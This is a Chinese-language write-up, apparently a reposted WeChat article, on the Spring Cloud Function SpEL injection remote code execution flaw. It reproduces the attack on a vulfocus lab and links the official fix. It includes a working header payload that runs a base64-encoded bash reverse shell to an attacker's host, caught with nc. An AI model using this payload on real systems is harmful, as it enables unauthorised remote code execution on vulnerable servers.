产品介绍:
Spring Cloud Function 是基于Spring Boot 的函数计算框架,它抽象出所有传输细节和基础架构,允许开发人员保留所有熟悉的工具和流程,并专注于业务逻辑。
漏洞介绍:
4月Spring Cloud Function组件爆出0day -- SPEL表达式注入导致RCE,官方commit中的test已经公开对应细节。
漏洞原理:
由于Spring Cloud Function中RoutingFunction类的apply方法将请求头中的“spring.cloud.function.routing-expression”参数作为Spel表达式进行处理,造成了Spel表达式注入漏洞,未经授权的远程攻击者可利用该漏洞执行任意代码。
影响版本:
3.0.0.RELEASE <= Spring Cloud Function <= 3.2.2
漏洞复现:
这里采用vulfocus在线靶场
进入页面先访问下functionRouter路径
抓包将其请求方式由GET改成POST
在Host下方添加payload和Content-Type
spring.cloud.function.routing-expression:T(java.lang.Runtime).getRuntime().exec("bash -c {echo,bash -i >&/dev/tcp/ip/端口 0>&1的base64编码形式}|{base64,-d}|{bash,-i}")
Content-Type:application/x-www-form-urlencoded
vps进行nc监听端口
在bp发完包之后,shell也是成功弹了回来
进入tmp目录成功拿下flag!
修复建议:
官方目前发布了修复此漏洞的commit:https://github.com/spring-cloud/spring-cloud-function/commit/0e89ee27b2e76138c16bcba6f4bca906c4f3744f,可下载官方的修复代码重新编译打包。
原文始发于微信公众号(三零二):Spring Cloud Function SPEL 远程代码执行
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论